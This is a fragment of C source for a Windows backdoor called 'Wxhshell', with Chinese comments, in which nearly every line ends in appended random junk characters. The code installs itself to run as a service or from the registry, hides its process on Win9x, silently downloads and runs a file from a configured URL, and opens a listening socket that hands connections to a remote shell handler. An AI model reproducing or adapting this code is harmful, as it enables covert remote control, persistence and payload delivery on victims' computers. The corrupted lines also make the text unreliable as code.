ULONG InheritedFromUniqueProcessId; :QKxpHi
} PROCESS_BASIC_INFORMATION; t~5m[C[`w
+m?;,JGt
PROCNTQSIP NtQueryInformationProcess; -& Qm"-?:
t^_0w[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V{!fag
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #yNSQd
Br/qOO:n$}
HANDLE hProcess; 6oTWW@
PROCESS_BASIC_INFORMATION pbi; |-Rg].
=$ bJ`GpJ
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); fP 1V1ao
if(NULL == hInst ) return 0; vTnrSNdSE
(Hk4~v6pqC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ti*I;)h4
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); U'(Exr[
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L{`S^'P<
6P,vGmR
if (!NtQueryInformationProcess) return 0; ]U[y3
Pjz_KO/
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); a=ye!CN^
if(!hProcess) return 0; EQQ/E!N8l
MZYh44
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D#%aow'(7
ed3d 6/%HR
CloseHandle(hProcess); M:t!g%
'XW[uK]w)
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
>?Y)evW
if(hProcess==NULL) return 0; 05sWN 0
Z_b^K^4
HMODULE hMod; 1D2Uomd(
char procName[255]; $;O-1# ]
unsigned long cbNeeded; #h,7dz.d
*"cK_MH/o
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q6>7{\8l
#Z;6f{yWf
CloseHandle(hProcess); nsT]Yxo%M
6yDj1PI
if(strstr(procName,"services")) return 1; // 以服务启动 ,m4M39MWJ
JA]TO(x
return 0; // 注册表启动 0!4;."S
} G.j R
S8=Am7D]1
// 主模块 $ghAC
int StartWxhshell(LPSTR lpCmdLine) V[9#+l~#
{ * SAYli+@
SOCKET wsl; bx!uHL=
BOOL val=TRUE; sb1Zm*m6
int port=0; D.7,xgH
struct sockaddr_in door; K)-Gv|*t
OGl>i
if(wscfg.ws_autoins) Install(); 9gu$vF]9!
w$5~'Cbi
port=atoi(lpCmdLine); !v/j*'L<M}
GUX!kj
if(port<=0) port=wscfg.ws_port; Gp 8%n
F4P=Wz]
WSADATA data; B #o/3
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8PN/*Sa
0P MF)';R
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; "zN2+X"&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :ik$@5wp
door.sin_family = AF_INET; Z)V m,ng
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3o).8b_3g
door.sin_port = htons(port); Vgh;w-a
Z)JJ-V!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |AosZeO_
closesocket(wsl); ~Onj|w7
return 1; 72i]`
} "o| f
+&AKDVmx
if(listen(wsl,2) == INVALID_SOCKET) { |6qxRWT"
closesocket(wsl); I
JPpF`
return 1; o0yyP,?yh
} v~l_6V}
Wxhshell(wsl); *
':LBc=%
WSACleanup(); O~p@87aq
}"$2F0
return 0; A~2U9f+\
t>f61<27eB
} O?p8Gjf
[H~Yg2O
// 以NT服务方式启动 gKp5*
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S%NS7$`a
{ jruXl>T!U
DWORD status = 0; 6[b?ckvi
DWORD specificError = 0xfffffff; UxGr+q
*8QESF9
serviceStatus.dwServiceType = SERVICE_WIN32; N }$$<i2o
serviceStatus.dwCurrentState = SERVICE_START_PENDING; 73n|G/9n[
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |iGfX,C|
serviceStatus.dwWin32ExitCode = 0; xgdS]Sz
serviceStatus.dwServiceSpecificExitCode = 0; i146@<\G{P
serviceStatus.dwCheckPoint = 0; L9lN AiOH
serviceStatus.dwWaitHint = 0; |*G$ilu
dz3KBiq
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xH,D
bAC;
if (hServiceStatusHandle==0) return; 2&e2/KEWR
TO(2n8'fdO
status = GetLastError(); MC
8t"SB
if (status!=NO_ERROR) 5}
v(Ks>
{ 'ycr/E&m{
serviceStatus.dwCurrentState = SERVICE_STOPPED; dkHye>
serviceStatus.dwCheckPoint = 0; t)#dR._q
serviceStatus.dwWaitHint = 0; 9/8#e+L
serviceStatus.dwWin32ExitCode = status; +*I'!)T^B
serviceStatus.dwServiceSpecificExitCode = specificError; uTWij4)a
SetServiceStatus(hServiceStatusHandle, &serviceStatus); y v$@i A
return; |8QXjzH
} 2H,^i,
sIVVF#0}]
serviceStatus.dwCurrentState = SERVICE_RUNNING; Q140b;Z
serviceStatus.dwCheckPoint = 0; Sckt gp8
serviceStatus.dwWaitHint = 0; DH@]d0N
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); BLepCF38
} 3SI~?&HU!/
+hUS
sR&
// 处理NT服务事件,比如:启动、停止 xSf&*wLE
VOID WINAPI NTServiceHandler(DWORD fdwControl) KA[8NPhzZ
{ I.4o9Z[?
switch(fdwControl) 8!R +wy
{ sp&s
5aw
case SERVICE_CONTROL_STOP: ;s^br17z~
serviceStatus.dwWin32ExitCode = 0; d`XC._%^J
serviceStatus.dwCurrentState = SERVICE_STOPPED; CMcS4X9/}
serviceStatus.dwCheckPoint = 0; @;6I94Bp
serviceStatus.dwWaitHint = 0; v+), uj
{ 6w? l
I
SetServiceStatus(hServiceStatusHandle, &serviceStatus); +qWrm|O]
} ~PTqR2x
return; gv6}GE
case SERVICE_CONTROL_PAUSE: Zb \E!>V
serviceStatus.dwCurrentState = SERVICE_PAUSED; vU4Gw4
break; 0mb|JoE(
case SERVICE_CONTROL_CONTINUE: tny^sG/'
serviceStatus.dwCurrentState = SERVICE_RUNNING;
L+=pEk_
break; \!*3bR
case SERVICE_CONTROL_INTERROGATE: n?UFFi+a
break; Gp l
}; OI8Hf3d=
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =do*(
} HsF8$C$z
!R
b
// 标准应用程序主函数 ~x(1g;!^
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p aQ"[w
{ b}f#[* Z
k@[P\(a3b
// 获取操作系统版本 J~e%EjN5e
OsIsNt=GetOsVer(); T#o?@;
GetModuleFileName(NULL,ExeFile,MAX_PATH); o+wG69
'\,|B
x8Q
// 从命令行安装 ?k 4|;DD
if(strpbrk(lpCmdLine,"iI")) Install(); Iu)76Y@=5=
M%3P@GRg
// 下载执行文件 &8!~H<S
if(wscfg.ws_downexe) { j;BMuLTm1
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
7U3b YU~;
WinExec(wscfg.ws_filenam,SW_HIDE); :rdw0EROy
} 9Kpzj43
F0D7+-9[
if(!OsIsNt) { J{69iQ
// 如果时win9x,隐藏进程并且设置为注册表启动 Yn~N;VUA
HideProc(); 8et*q3D7`
StartWxhshell(lpCmdLine); brdfjE8
} ,GU|3
else un&Z'
.
if(StartFromService()) ~xp(k
// 以服务方式启动 SU`RHAo
StartServiceCtrlDispatcher(DispatchTable); $-=QT X
else TJ5g?#Wul
// 普通方式启动 7CGxM
StartWxhshell(lpCmdLine); G1!yPQa7d
34Fc
oud);
return 0; Bd8{25{c
}